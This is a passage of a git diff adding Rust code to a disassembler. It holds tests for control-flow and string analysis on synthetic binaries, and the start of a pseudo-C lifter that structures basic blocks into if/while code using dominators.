0xc3]); + let raw = Image::raw(Arc::from(code), craft_anything_formats::Arch::X86_64, 0x1000); + let p = Program::analyze(&raw, &Limits::default(), &NoControl).unwrap(); + let caller = p.functions.get(&0x1000).unwrap(); + assert!(caller.blocks.iter().all(|b| b.end <= 0x1010), "{:?}", caller.blocks); + assert_eq!((caller.insn_count, caller.tail_calls.as_slice()), (4, [0x1010].as_slice())); + assert_eq!(p.functions.get(&0x1010).map(|f| f.insn_count), Some(2)); + assert_eq!(p.stats.instructions, 6, "each instruction counted once"); + } + + #[test] + fn a_reference_into_a_packed_string_starts_a_new_one() { + // 0x1000: lea rax, [rip+0xe] (0x1015); ret 0x1010: "HelloWorld" (no terminator between) + let mut code = vec![0u8; 0x20]; + code[..8].copy_from_slice(&[0x48, 0x8d, 0x05, 0x0e, 0, 0, 0, 0xc3]); + code[0x10..0x1a].copy_from_slice(b"HelloWorld"); + let raw = Image::raw(Arc::from(code), craft_anything_formats::Arch::X86_64, 0x1000); + let p = Program::analyze(&raw, &Limits::default(), &NoControl).unwrap(); + let at = |a: u64| p.strings.iter().find(|s| s.addr == a).map(|s| s.text.as_str()); + assert_eq!((at(0x1010), at(0x1015)), (Some("Hello"), Some("World")), "{:?}", p.strings); + } + + #[test] + fn a_switch_table_read_past_its_end_stays_in_its_function() { + // 0x1000: call 0x1080; jmp [rax*8 + 0x1100] cases: 0x1010, 0x1011 (ret each) + // 0x1080: 8 nops; ret table: 0x1010, 0x1011, 0x1085, 0x1088, 0 + // No bound before the jump, so the table is read on into the callee's body. + let mut code = vec![0xcc; 0x140]; + code[..12].copy_from_slice(&[0xe8, 0x7b, 0, 0, 0, 0xff, 0x24, 0xc5, 0x00, 0x11, 0, 0]); + code[0x10..0x12].copy_from_slice(&[0xc3, 0xc3]); + code[0x80..0x89].copy_from_slice(&[0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xc3]); + for (i, t) in [0x1010u64, 0x1011, 0x1085, 0x1088, 0].iter().enumerate() { + code[0x100 + i * 8..0x108 + i * 8].copy_from_slice(&t.to_le_bytes()); + } + let raw = Image::raw(Arc::from(code), craft_anything_formats::Arch::X86_64, 0x1000); + let p = Program::analyze(&raw, &Limits::default(), &NoControl).unwrap(); + let caller = p.functions.get(&0x1000).unwrap(); + assert!(caller.blocks.iter().all(|b| b.end <= 0x1080), "{:?}", caller.blocks); + assert_eq!(caller.jump_tables.first().map(|t| t.targets.clone()), Some(vec![0x1010, 0x1011])); + assert_eq!(p.functions.get(&0x1080).map(|f| f.insn_count), Some(9)); + } + + #[test] + fn cancellation_is_honoured() { + struct Stop; + impl Control for Stop { + fn cancelled(&self) -> bool { + true + } + } + let (elf, _) = tk::elf64(tk::ElfArch::X86_64, true); + let img = Image::parse(Arc::from(elf)).unwrap(); + assert!(matches!(Program::analyze(&img, &Limits::default(), &Stop), Err(DisasmError::Cancelled))); + } + + #[test] + fn code_at_the_top_of_the_address_space_ends_without_wrapping() { + // Each scan used to step past u64::MAX: a panic in debug builds, and in release a wrap to + // 0 that walked the whole address space (never ending). Run on a thread with a deadline so + // a regression fails instead of hanging the test run. + let (tx, rx) = std::sync::mpsc::channel(); + std::thread::spawn(move || { + use craft_anything_formats::Arch; + let base = u64::MAX - 63; + for arch in [Arch::X86, Arch::X86_64, Arch::Arm, Arch::Aarch64, Arch::X86_16] { + for seed in 0..4 { + let mut img = Image::raw(Arc::from(tk::noise(seed, 64)), arch, base); + let _ = Program::analyze(&img, &Limits::default(), &NoControl); + img.bin.sections[0].name = ".plt".into(); + let _ = Program::analyze(&img, &Limits::default(), &NoControl); + } + } + let _ = tx.send(()); + }); + assert!(rx.recv_timeout(std::time::Duration::from_secs(60)).is_ok(), "analysis at the top of the address space never ended"); + } + + #[test] + fn damaged_binaries_never_panic() { + let (elf, _) = tk::elf64(tk::ElfArch::X86_64, true); + let (a64, _) = tk::elf64(tk::ElfArch::Aarch64, false); + for sample in [elf, a64, tk::pe64(), tk::macho64()] { + for m in tk::mutations(&sample) { + if let Ok(img) = Image::parse(Arc::from(m)) { + let _ = Program::analyze(&img, &Limits::default(), &NoControl); + } + } + } + for seed in 0..16 { + let raw = Image::raw(Arc::from(tk::noise(seed, 4096)), craft_anything_formats::Arch::X86_64, 0x1000); + let _ = Program::analyze(&raw, &Limits::default(), &NoControl); + let raw = Image::raw(Arc::from(tk::noise(seed, 4096)), craft_anything_formats::Arch::Aarch64, 0x1000); + let _ = Program::analyze(&raw, &Limits::default(), &NoControl); + } + } + + #[test] + fn real_system_binary_if_present() { + let Ok(bytes) = std::fs::read("/bin/ls") else { return }; + let img = Image::parse(Arc::from(bytes)).unwrap(); + let p = Program::analyze(&img, &Limits::default(), &NoControl).unwrap(); + assert!(p.functions.len() > 50, "{}", p.functions.len()); + assert!(p.strings.len() > 100); + } +} diff --git a/desktop/crates/disasm/src/pseudo.rs b/desktop/crates/disasm/src/pseudo.rs new file mode 100644 index 0000000..47fe647 --- /dev/null +++ b/desktop/crates/disasm/src/pseudo.rs @@ -0,0 +1,1371 @@ +//! A small, honest pseudo-C lifter. It works at register level (no type recovery), turns each +//! basic block into C-like statements, and structures the control-flow graph into `if`/`else` +//! and `while` using dominators and post-dominators, falling back to labels and `goto` where the +//! graph isn't structured. Calls get resolved names and arguments from the calling convention; +//! string literals are inlined. + +use crate::decode::{ArmConsts, Cond, Flow, Insn, Kind, MemOp, Mode, Op, canonical_reg}; +use crate::image::Image; +use crate::program::{Function, Program}; +use craft_anything_formats::Format; +use serde::Serialize; +use std::collections::{BTreeMap, BTreeSet}; + +/// Blocks above this are listed linearly with labels instead of being structured. +const MAX_STRUCTURED_BLOCKS: usize = 1500; +const MAX_DEPTH: usize = 64; + +#[derive(Debug, Clone, PartialEq, Eq, Serialize)] +pub struct Pseudo { + pub signature: String, + pub text: String, + /// Names of everything called. + pub calls: Vec, + /// String literals used. + pub strings: Vec, + pub gotos: usize, + /// Instructions shown as `__asm(...)` because the lifter has no rule for them. + pub asm_fallbacks: usize, + /// True when the control flow was fully structured (no gotos, no linear fallback). + pub structured: bool, + pub limitations: Vec<(String, String)>, +} + +#[derive(Debug, Clone)] +struct Line { + indent: usize, + text: String, + label: Option, + loop_end: bool, +} + +struct BlockCode { + stmts: Vec, + cond: Option, + /// Condition is for the taken edge; `taken` is its target. + taken: Option, +} + +struct Lifter<'a> { + img: &'a Image, + prog: &'a Program, + names: &'a dyn Fn(u64) -> Option, + mode: Mode, + arg_regs: &'static [&'static str], + /// Win64: calls take arguments 5+ from the stack at `[rsp+0x20]`, `[rsp+0x28]`, … + win64: bool, + /// Jump targets that leave the function (tail calls). + tail_calls: &'a [u64], + ret_reg: String, + calls: BTreeSet, + strings: Vec, + asm_fallbacks: usize, +} + +fn escape(s: &str) -> String { + let mut out = String::new(); + for (i, c) in s.chars().enumerate() { + if i >= 120 { + out.push_str("..."); + break; + } + match c { + '"' => out.push_str("\\\""), + '\\' => out.push_str("\\\\"), + '\n' => out.push_str("\\n"), + '\r' => out.push_str("\\r"), + '\t' => out.push_str("\\t"), + c if c.is_control() => out.push_str(&format!("\\x{:02x}", c as u32)), + c => out.push(c), + } + } + out +} + +fn ty(size: u8) -> &'static str { + match size { + 1 => "uint8_t", + 2 => "uint16_t", + 4 => "uint32_t", + 8 => "uint64_t", + 16 => "uint128_t", + _ => "void", + } +} + +fn imm(v: i64) -> String { + if (-16..=16).contains(&v) { + v.to_string() + } else if v < 0 { + format!("-{:#x}", v.unsigned_abs()) + } else { + format!("{v:#x}") + } +} + +impl Lifter<'_> { + fn addr_name(&self, a: u64) -> Option { + (self.names)(a).or_else(|| self.prog.name_at(a)) + } + + fn string_lit(&mut self, a: u64) -> Option { + let s = self.prog.string_at(a)?; + let off = a.checked_sub(s.addr)?; + let text: String = if off == 0 { s.text.clone() } else { s.text.chars().skip(off as usize).collect() }; + if !self.strings.contains(&text) && self.strings.len() < 256 { + self.strings.push(text.clone()); + } + Some(format!("\"{}\"", escape(&text))) + } + + /// `&thing` for an address-of. + fn address_of(&mut self, a: u64) -> String { + if let Some(s) = self.string_lit(a) { + return s; + } + match self.addr_name(a) { + Some(n) => format!("&{n}"), + None => { + if self.img.is_exec(a) { + format!("sub_{a:x}") + } else { + format!("&data_{a:x}") + } + } + } + } + + /// The address arithmetic of a memory operand, without dereferencing it. + fn mem_addr(&mut self, m: &MemOp) -> String { + if let Some(a) = m.addr { + return self.address_of(a); + } + let mut parts = Vec::new(); + if let Some(b) = &m.base { + parts.push(b.clone()); + } + if let Some(i) = &m.index { + parts.push(if m.scale > 1 { format!("{i} * {}", m.scale) } else { i.clone() }); + } + if m.disp != 0 || parts.is_empty() { + parts.push(imm(m.disp)); + } + parts.join(" + ").replace("+ -", "- ") + } + + fn mem(&mut self, m: &MemOp) -> String { + if let Some(seg) = &m.seg { + return format!("{seg}:[{}]", self.mem_addr(m)); + } + if let Some(a) = m.addr { + if let Some(n) = self.addr_name(a) { + return n; + } + return format!("*({}*){a:#x}", ty(m.size)); + } + let frame = matches!(m.base.as_deref(), Some("rbp" | "ebp" | "bp" | "x29")); + let stack = matches!(m.base.as_deref(), Some("rsp" | "esp" | "sp")); + if m.index.is_none() && (frame || stack) { + let prefix = if frame { if m.disp < 0 { "var" } else { "arg" } } else { "stack" }; + return format!("{prefix}_{:x}", m.disp.unsigned_abs()); + } + let mut parts = Vec::new(); + if let Some(b) = &m.base { + parts.push(b.clone()); + } + if let Some(i) = &m.index { + parts.push(if m.scale > 1 { format!("{i} * {}", m.scale) } else { i.clone() }); + } + if m.disp != 0 || parts.is_empty() { + parts.push(imm(m.disp)); + } + format!("*({}*)({})", ty(m.size), parts.join(" + ").replace("+ -", "- ")) + } + + fn op(&mut self, o: &Op) -> String { + match o { + Op::Reg(r) => r.clone(), + Op::Imm(v) => imm(*v), + Op::Mem(m) => self.mem(m), + Op::Addr(a) => self.address_of(*a), + } + } + + fn call_name(&self, i: &Insn) -> String { + match i.flow { + Flow::Call { target } => self.addr_name(target).unwrap_or_else(|| format!("sub_{target:x}")), + Flow::IndirectCall { slot: Some(s) } => { + self.prog.import_slots.get(&s).map(|x| x.name.clone()).or_else(|| self.addr_name(s)).unwrap_or_else(|| format!("(*{s:#x})")) + } + _ => match i.ops.first() { + Some(Op::Reg(r)) => format!("(*{r})"), + Some(Op::Mem(m)) => { + let m = m.clone(); + let mut tmp = Lifter { + img: self.img, + prog: self.prog, + names: self.names, + mode: self.mode, + arg_regs: self.arg_regs, + win64: self.win64, + tail_calls: self.tail_calls, + ret_reg: String::new(), + calls: BTreeSet::new(), + strings: Vec::new(), + asm_fallbacks: 0, + }; + format!("(*{})", tmp.mem(&m)) + } + _ => "(*unknown)".into(), + }, + } + } + + /// Register arguments of a call: up to the last argument register assigned in this block (at + /// least `min`). Their assignments are folded into the call. + fn reg_args(&self, defs: &BTreeMap, dead: &mut BTreeSet, min: usize) -> Vec { + let n = self.arg_regs.iter().rposition(|r| defs.contains_key(*r)).map(|p| p + 1).unwrap_or(0).max(min).min(self.arg_regs.len()); + self.arg_regs + .iter() + .take(n) + .map(|r| match defs.get(*r) { + Some((idx, e)) => { + dead.insert(*idx); + e.clone() + } + None => (*r).to_string(), + }) + .collect() + } + + /// Statements for one block plus its branch condition. + fn block(&mut self, insns: &[Insn], entry_or_exit: bool) -> BlockCode { + let mut stmts: Vec = Vec::new(); + // canonical reg → (statement index, expression) of its latest assignment in this block + let mut defs: BTreeMap = BTreeMap::new(); + let mut pushes: Vec = Vec::new(); + let mut flag_src: Option<&Insn> = None; + let mut cond = None; + let mut taken = None; + let mut dead: BTreeSet = BTreeSet::new(); + // Win64 outgoing stack arguments stored in this block: rsp offset → (statement, value). + let mut stack_args: BTreeMap = BTreeMap::new(); + for (k, i) in insns.iter().enumerate() { + // A register read by a later instruction keeps its assignment. + if !matches!(i.flow, Flow::Call { .. } | Flow::IndirectCall { .. }) { + for r in &i.reads { + defs.remove(r); + } + } + // AArch64 page loads and import-slot loads are shown through what uses them. + if i.kind == Kind::Adrp || (i.kind == Kind::Load && i.refs.first().is_some_and(|r| self.prog.import_slots.contains_key(r))) { + continue; + } + let d = i.ops.first().map(|o| self.op(o)); + let s = i.ops.get(1).map(|o| self.op(o)); + let t = i.ops.get(2).map(|o| self.op(o)); + let mut stmt: Option = None; + let dest_reg = match i.ops.first() { + Some(Op::Reg(r)) => Some(canonical_reg(r)), + _ => None, + }; + let frame_reg = |r: &str| matches!(canonical_reg(r).as_str(), "rsp" | "rbp" | "sp" | "x29" | "x30"); + match (i.kind, &i.flow) { + (_, Flow::Call { .. } | Flow::IndirectCall { .. }) => { + let name = self.call_name(i); + if self.calls.len() < 512 { + self.calls.insert(name.trim_start_matches("(*").trim_end_matches(')').to_string()); + } + let args = if self.mode == Mode::X32 || self.mode == Mode::X16 { + let a = pushes.iter().rev().cloned().collect(); + pushes.clear(); + a + } else { + // Win64 calls into imports: contiguous stores at [rsp+0x20], [rsp+0x28], … + // are arguments 5, 6, … + let import: Option<&str> = match i.flow { + Flow::IndirectCall { slot: Some(s) } => self.prog.import_slots.get(&s).map(|si| si.name.as_str()), + Flow::Call { target } => self + .prog + .import_slots + .get(&target) + .map(|si| si.name.as_str()) + .or_else(|| self.prog.functions.get(&target).and_then(|f| f.thunk_of.as_deref())), + _ => None, + }; + let mut stack = Vec::new(); + if self.win64 && import.is_some() { + let mut off = 0x20i64; + while let Some((idx, v)) = stack_args.get(&off) { + dead.insert(*idx); + stack.push(v.clone()); + off += 8; + } + } + // A known library function shows all its register arguments, even ones set + // outside this block (they read as the register itself). + let known = import.and_then(crate::arity::import_arity).unwrap_or(0); + let mut a = self.reg_args(&defs, &mut dead, if stack.is_empty() { known } else { known.max(4) }); + a.extend(stack); + a + }; + stack_args.clear(); + let uses_ret = insns + .get(k + 1..) + .unwrap_or(&[]) + .iter() + .take(6) + .take_while(|n| !matches!(n.flow, Flow::Call { .. } | Flow::IndirectCall { .. })) + .find_map(|n| { + let r = n.reads.iter().any(|x| *x == self.ret_canon()); + let w = n.writes.iter().any(|x| *x == self.ret_canon()); + if r { + Some(true) + } else if w { + Some(false) + } else { + None + } + }); + let call = format!("{name}({})", args.join(", ")); + stmt = Some(if uses_ret == Some(true) { format!("{} = {call};", self.ret_reg_name()) } else { format!("{call};") }); + // Calls clobber argument registers. + defs.clear(); + } + (_, Flow::Return) => { + stmt = Some(if self.ret_reg.is_empty() { "return;".into() } else { format!("return {};", self.ret_reg) }); + } + (_, Flow::Jump { target }) if self.tail_calls.contains(target) => { + // A jump out of the function is a tail call: it returns what the callee returns. + let name = self.addr_name(*target).unwrap_or_else(|| format!("sub_{target:x}")); + if self.calls.len() < 512 { + self.calls.insert(name.clone()); + } + let args = self.reg_args(&defs, &mut dead, 0); + stmt = Some(format!("return {name}({}); /* tail call */", args.join(", "))); + } + (_, Flow::Jump { .. } | Flow::Cond { .. } | Flow::Stop) => { + if let Flow::Cond { target } = i.flow { + cond = Some(self.condition(i.cond.as_ref(), flag_src)); + taken = Some(target); + } + if matches!(i.flow, Flow::Stop) { + stmt = Some(if i.mnemonic.starts_with("int3") || i.mnemonic == "brk" { + "__debugbreak();".into() + } else { + "__halt(); /* stops here */".into() + }); + } + } + (_, Flow::IndirectJump { slot }) => { + stmt = Some(match slot.and_then(|s| self.prog.import_slots.get(&s)) { + Some(si) => format!("return {}(); /* tail call */", si.name), + None => format!("goto *{}; /* computed jump */", d.clone().unwrap_or_default()), + }); + } + (Kind::Nop | Kind::Leave, _) => {} + (Kind::Push, _) => { + let v = d.clone().unwrap_or_default(); + if !(entry_or_exit && matches!(i.ops.first(), Some(Op::Reg(_)))) { + pushes.push(v); + } + } + (Kind::Pop, _) => { + if !entry_or_exit { + stmt = Some(format!("{} = pop();", d.clone().unwrap_or_default())); + } + } + (Kind::Cmp | Kind::Test, _) => flag_src = Some(i), + (Kind::Mov | Kind::MovSx | Kind::MovZx, _) if i.ops.len() >= 2 => { + let (dd, ss) = (d.clone().unwrap_or_default(), s.clone().unwrap_or_default()); + if (frame_reg(&dd) && dest_reg.is_some()) || dd == ss { + // frame setup (mov rbp, rsp / mov x29, sp) + } else { + stmt = Some(format!("{dd} = {ss};")); + } + } + (Kind::Lea, _) => { + let e = match i.ops.get(1) { + Some(Op::Mem(m)) => match m.addr { + Some(a) => self.address_of(a), + None => { + let frame = matches!(m.base.as_deref(), Some("rbp" | "ebp" | "rsp" | "esp" | "x29" | "sp")) && m.index.is_none(); + if frame { format!("&{}", self.mem(m)) } else { self.mem_addr(m) } + } + }, + _ => s.clone().unwrap_or_default(), + }; + stmt = Some(format!("{} = {e};", d.clone().unwrap_or_default())); + } + (Kind::Adrp | Kind::Adr, _) => { + let e = match i.ops.get(1) { + Some(Op::Addr(a)) if i.kind == Kind::Adr => self.address_of(*a), + Some(Op::Addr(a)) => format!("{a:#x} /* page */"), + _ => s.clone().unwrap_or_default(), + }; + stmt = Some(format!("{} = {e};", d.clone().unwrap_or_default())); + } + (Kind::Add | Kind::Sub | Kind::And | Kind::Or | Kind::Xor | Kind::Shl | Kind::Shr | Kind::Sar | Kind::Mul, _) => { + let sym = match i.kind { + Kind::Add => "+", + Kind::Sub => "-", + Kind::And => "&", + Kind::Or => "|", + Kind::Xor => "^", + Kind::Shl => "<<", + Kind::Shr | Kind::Sar => ">>", + _ => "*", + }; + let dd = d.clone().unwrap_or_default(); + if i.sets_flags { + flag_src = Some(i); + } + if dest_reg.as_deref().is_some_and(frame_reg) && matches!(i.kind, Kind::Add | Kind::Sub) { + // stack frame adjustment + } else if i.kind == Kind::Xor && i.ops.len() == 2 && i.ops.first() == i.ops.get(1) { + stmt = Some(format!("{dd} = 0;")); + } else if self.mode == Mode::A64 && i.kind == Kind::Add && i.refs.first().is_some_and(|r| self.prog.string_at(*r).is_some()) { + let r = i.refs.first().copied().unwrap_or(0); + let lit = self.address_of(r); + stmt = Some(format!("{dd} = {lit};")); + } else if let Some(t) = t.clone() { + let ss = s.clone().unwrap_or_default(); + stmt = Some(if ss == dd { format!("{dd} {sym}= {t};") } else { format!("{dd} = {ss} {sym} {t};") }); + } else if let Some(ss) = s.clone() { + stmt = Some(format!("{dd} {sym}= {ss};")); + } else { + stmt = Some(format!("{dd} = {dd} {sym} ...; /* {} */", i.text())); + } + if self.mode.is_x86() && i.ops.len() == 1 && i.kind == Kind::Mul { + stmt = Some(format!("rdx:rax = rax * {dd};")); + } + } + (Kind::Inc, _) => { + flag_src = Some(i); + stmt = Some(format!("{}++;", d.clone().unwrap_or_default())); + } + (Kind::Dec, _) => { + flag_src = Some(i); + stmt = Some(format!("{}--;", d.clone().unwrap_or_default())); + } + (Kind::Not, _) => stmt = Some(format!("{0} = ~{0};", d.clone().unwrap_or_default())), + (Kind::Neg, _) => stmt = Some(format!("{0} = -{0};", d.clone().unwrap_or_default())), + (Kind::Load, _) if i.ops.len() >= 2 => { + let e = match i.refs.first() { + Some(&r) => self.addr_name(r).unwrap_or_else(|| format!("*(uint64_t*){r:#x}")), + None => s.clone().unwrap_or_default(), + }; + let e = if e.starts_with("&") && i.refs.is_empty() { e.trim_start_matches('&').to_string() } else { e }; + stmt = Some(format!("{} = {};", d.clone().unwrap_or_default(), e.trim_start_matches("&"))); + } + (Kind::Store, _) if i.ops.len() >= 2 => { + let target = match i.refs.first() { + Some(&r) => self.addr_name(r).unwrap_or_else(|| format!("*(uint64_t*){r:#x}")), + None => s.clone().unwrap_or_default(), + }; + stmt = Some(format!("{} = {};", target.trim_start_matches('&'), d.clone().unwrap_or_default())); + } + (Kind::LoadPair | Kind::StorePair, _) => { + let all_frame = i.ops.iter().take(2).all(|o| matches!(o, Op::Reg(r) if frame_reg(r))); + if !(entry_or_exit && all_frame) { + let (a, b) = (d.clone().unwrap_or_default(), s.clone().unwrap_or_default()); + let m = t.clone().unwrap_or_default(); + stmt = Some(if i.kind == Kind::LoadPair { format!("{a} = {m}[0]; {b} = {m}[1];") } else { format!("{m}[0] = {a}; {m}[1] = {b};") }); + } + } + _ => { + if i.sets_flags { + flag_src = Some(i); + } + self.asm_fallbacks += 1; + stmt = Some(format!("__asm(\"{}\");", escape(&i.text()))); + } + } + if let Some(st) = stmt { + stmts.push(st); + if self.win64 + && matches!(i.kind, Kind::Mov | Kind::Store) + && let Some(Op::Mem(m)) = i.ops.first() + && m.base.as_deref() == Some("rsp") + && m.index.is_none() + && m.seg.is_none() + && m.disp >= 0x20 + && let Some(v) = stmts.last().and_then(|l| l.split_once(" = ")).map(|(_, e)| e.trim_end_matches(';').to_string()) + { + stack_args.insert(m.disp, (stmts.len() - 1, v)); + } + if let Some(r) = &dest_reg { + let expr = stmts.last().and_then(|l| l.split_once(" = ").map(|(_, e)| e.trim_end_matches(';').to_string())); + match expr { + Some(e) if !e.contains(';') && !matches!(i.flow, Flow::Call { .. } | Flow::IndirectCall { .. }) => { + defs.insert(r.clone(), (stmts.len() - 1, e)); + } + _ => { + defs.remove(r); + } + } + } + } + for w in &i.writes { + if dest_reg.as_ref() != Some(w) { + defs.remove(w); + } + } + // Moving the stack pointer shifts every slot: forget the pending stack arguments. + if i.writes.iter().any(|w| w == "rsp") { + stack_args.clear(); + } + } + let stmts = stmts.into_iter().enumerate().filter(|(i, _)| !dead.contains(i)).map(|(_, s)| s).collect(); + BlockCode { stmts, cond, taken } + } + + fn ret_canon(&self) -> String { + match self.mode { + Mode::A64 => "x0".into(), + Mode::A32 | Mode::T32 => "r0".into(), + _ => "rax".into(), + } + } + + fn ret_reg_name(&self) -> String { + if self.ret_reg.is_empty() { self.ret_canon() } else { self.ret_reg.clone() } + } + + fn condition(&mut self, c: Option<&Cond>, src: Option<&Insn>) -> String { + let Some(c) = c else { return "/* condition */ flags".into() }; + match c { + Cond::RegZero(r) => return format!("{r} == 0"), + Cond::RegNonZero(r) => return format!("{r} != 0"), + Cond::BitClear(r, b) => return format!("(({r} >> {b}) & 1) == 0"), + Cond::BitSet(r, b) => return format!("(({r} >> {b}) & 1) != 0"), + _ => {} + } + let opstr = match c { + Cond::Sign => Some("<"), + Cond::NotSign => Some(">="), + other => other.op(), + }; + let Some(src) = src else { return format!("/* {c:?} */ flags") }; + let a = src.ops.first().map(|o| self.op(o)).unwrap_or_default(); + // ARM compare aliases encode the zero register first. + let (a, b) = if self.mode == Mode::A64 && matches!(src.kind, Kind::Cmp | Kind::Test) { + (src.ops.get(1).map(|o| self.op(o)).unwrap_or_default(), src.ops.get(2).map(|o| self.op(o)).unwrap_or_default()) + } else { + (a, src.ops.get(1).map(|o| self.op(o)).unwrap_or_default()) + }; + let Some(op) = opstr else { return format!("/* {c:?} after {} */ flags", src.mnemonic) }; + let unsigned = if c.unsigned() { " /* unsigned */" } else { "" }; + match src.kind { + Kind::Cmp => { + if matches!(c, Cond::Sign | Cond::NotSign) { + format!("{a} - {b} {op} 0") + } else { + format!("{a} {op} {b}{unsigned}") + } + } + Kind::Test => { + if a == b || b.is_empty() { + format!("{a} {op} 0{unsigned}") + } else { + format!("({a} & {b}) {op} 0") + } + } + _ => format!("{a} {op} 0{unsigned}"), + } + } +} + +fn cond_negate_text(c: &str) -> String { + for (a, b) in [(" == ", " != "), (" != ", " == "), (" <= ", " > "), (" >= ", " < "), (" < ", " >= "), (" > ", " <= ")] { + if let Some((l, r)) = c.split_once(a) + && !r.contains(" == ") + && !r.contains(" != ") + && !l.contains(" == ") + { + return format!("{l}{b}{r}"); + } + } + format!("!({c})") +} + +/// Bitset-backed dominator sets. +fn dominators(n: usize, entry: usize, preds: &[Vec]) -> Vec> { + let words = n.div_ceil(64); + let full = vec![u64::MAX; words]; + let mut dom: Vec> = vec![full; n]; + if let Some(d) = dom.get_mut(entry) { + *d = vec![0; words]; + set(d, entry); + } + let mut changed = true; + let mut rounds = 0; + while changed && rounds < 200 { + changed = false; + rounds += 1; + for b in 0..n { + if b == entry { + continue; + } + let mut new = vec![u64::MAX; words]; + let mut any = false; + for &p in preds.get(b).map(Vec::as_slice).unwrap_or(&[]) { + if let Some(pd) = dom.get(p) { + any = true; + for (x, y) in new.iter_mut().zip(pd) { + *x &= *y; + } + } + } + if !any { + new = vec![0; words]; + } + set(&mut new, b); + if dom.get(b) != Some(&new) { + if let Some(d) = dom.get_mut(b) { + *d = new; + } + changed = true; + } + } + } + dom +} + +fn set(v: &mut [u64], i: usize) { + if let Some(w) = v.get_mut(i / 64) { + *w |= 1 << (i % 64); + } +} + +fn has(v: &[u64], i: usize) -> bool { + v.get(i / 64).is_some_and(|w| w & (1 << (i % 64)) != 0) +} + +fn count(v: &[u64]) -> u32 { + v.iter().map(|w| w.count_ones()).sum() +} + +/// Immediate (post-)dominator: the strict dominator with the largest dominator set. +fn immediate(sets: &[Vec], n: usize, b: usize) -> Option { + let s = sets.get(b)?; + if count(s) as usize >= n && n > 1 { + return None; // unreachable / never reaches exit: set stayed full + } + (0..n).filter(|&d| d != b && has(s, d)).max_by_key(|&d| sets.get(d).map(|x| count(x)).unwrap_or(0)) +} + +struct Graph { + starts: Vec, + succs: Vec>, + idom: Vec>, + ipdom: Vec>, + dom: Vec>, + /// header → (loop body, follow) + loops: BTreeMap, Option)>, +} + +fn build_graph(f: &Function) -> Graph { + let n = f.blocks.len(); + let starts: Vec = f.blocks.iter().map(|b| b.start).collect(); + let index: BTreeMap = starts.iter().enumerate().map(|(i, s)| (*s, i)).collect(); + let succs: Vec> = f.blocks.iter().map(|b| b.succs.iter().filter_map(|s| index.get(s).copied()).collect()).collect(); + let mut preds = vec![Vec::new(); n]; + for (i, ss) in succs.iter().enumerate() { + for &s in ss { + if let Some(p) = preds.get_mut(s) { + p.push(i); + } + } + } + let entry = index.get(&f.entry).copied().unwrap_or(0); + let dom = dominators(n, entry, &preds); + // Post-dominators: reverse graph with a virtual exit (index n). + let mut rpreds: Vec> = succs.clone(); + for (i, ss) in succs.iter().enumerate() { + if ss.is_empty() + && let Some(r) = rpreds.get_mut(i) + { + r.push(n); + } + } + rpreds.push(Vec::new()); + let pdom = dominators(n + 1, n, &rpreds); + let idom = (0..n).map(|b| immediate(&dom, n, b)).collect(); + let ipdom = (0..n).map(|b| immediate(&pdom, n + 1, b).filter(|&d| d < n)).collect(); + // Natural loops from back edges u → h where h dominates u. + let mut loops: BTreeMap, Option)> = BTreeMap::new(); + for (u, ss) in succs.iter().enumerate() { + for &h in ss { + if dom.get(u).is_some_and(|d| has(d, h)) { + let body = &mut loops.entry(h).or_insert_with(|| (BTreeSet::from([h]), None)).0; + let mut stack = vec![u]; + while let Some(x) = stack.pop() { + if body.insert(x) { + for &p in preds.get(x).map(Vec::as_slice).unwrap_or(&[]) { + stack.push(p); + } + } + } + } + } + } + let ipd: Vec> = (0..n).map(|b| immediate(&pdom, n + 1, b).filter(|&d| d < n)).collect(); + for (h, (body, follow)) in loops.iter_mut() { + let exits: BTreeSet = body.iter().flat_map(|&b| succs.get(b).cloned().unwrap_or_default()).filter(|s| !body.contains(s)).collect(); + *follow = ipd + .get(*h) + .copied() + .flatten() + .filter(|p| !body.contains(p)) + .or_else(|| exits.iter().min_by_key(|&&e| starts.get(e).copied().unwrap_or(0)).copied()); + } + Graph { starts, succs, idom, ipdom, dom, loops } +} + +enum Edge { + Continue, + Break, + To(usize), +} + +struct Emitter<'a> { + g: &'a Graph, + code: &'a [BlockCode], + emitted: Vec, + lines: Vec, + labels: BTreeSet, + gotos: usize, + loop_stack: Vec<(usize, Option)>, + pending_label: Option, +} + +impl Emitter<'_> { + fn push(&mut self, indent: usize, text: impl Into) { + let label = self.pending_label.take(); + self.lines.push(Line { indent, text: text.into(), label, loop_end: false }); + } + + fn edge(&self, to: usize) -> Edge { + if let Some(&(h, follow)) = self.loop_stack.last() { + if to == h { + return Edge::Continue; + } + if Some(to) == follow { + return Edge::Break; + } + } + Edge::To(to) + } + + fn goto(&mut self, indent: usize, b: usize) { + let s = self.g.starts.get(b).copied().unwrap_or(0); + self.labels.insert(s); + self.gotos += 1; + self.push(indent, format!("goto label_{s:x};")); + } + + fn in_current_loop(&self, b: usize) -> bool { + match self.loop_stack.last() { + Some((h, _)) => self.g.loops.get(h).is_some_and(|(body, _)| body.contains(&b)), + None => true, + } + } + + /// Emit from block `b` until `stop`. + fn region(&mut self, mut b: Option, stop: Option, indent: usize, depth: usize) { + while let Some(cur) = b { + if Some(cur) == stop { + return; + } + if depth > MAX_DEPTH || indent > MAX_DEPTH { + self.goto(indent, cur); + return; + } + if !self.in_current_loop(cur) { + // Leaving the loop other than through its follow. + self.goto(indent, cur); + return; + } + if self.emitted.get(cur).copied().unwrap_or(true) { + let tiny_exit = self.g.succs.get(cur).is_some_and(|s| s.is_empty()) && self.code.get(cur).is_some_and(|c| c.stmts.len() <= 4); + if tiny_exit { + for st in self.code.get(cur).map(|c| c.stmts.clone()).unwrap_or_default() { + self.push(indent, st); + } + } else { + self.goto(indent, cur); + } + return; + } + let is_header = self.g.loops.contains_key(&cur) && self.loop_stack.last().map(|(h, _)| *h) != Some(cur); + if is_header { + let follow = self.g.loops.get(&cur).and_then(|(_, f)| *f); + self.push(indent, "while (true) {"); + self.loop_stack.push((cur, follow)); + self.body(cur, indent + 1, depth + 1); + self.loop_stack.pop(); + // drop a trailing continue + if self.lines.last().is_some_and(|l| l.text == "continue;" && l.indent == indent + 1) { + self.lines.pop(); + } + self.lines.push(Line { indent, text: "}".into(), label: None, loop_end: true }); + b = follow; + continue; + } + b = self.body(cur, indent, depth); + } + } + + /// Emit one block and its branch; returns where straight-line emission continues. + fn body(&mut self, cur: usize, indent: usize, depth: usize) -> Option { + if let Some(e) = self.emitted.get_mut(cur) { + *e = true; + } + let start = self.g.starts.get(cur).copied().unwrap_or(0); + let first_line = self.lines.len(); + let (stmts, cond, 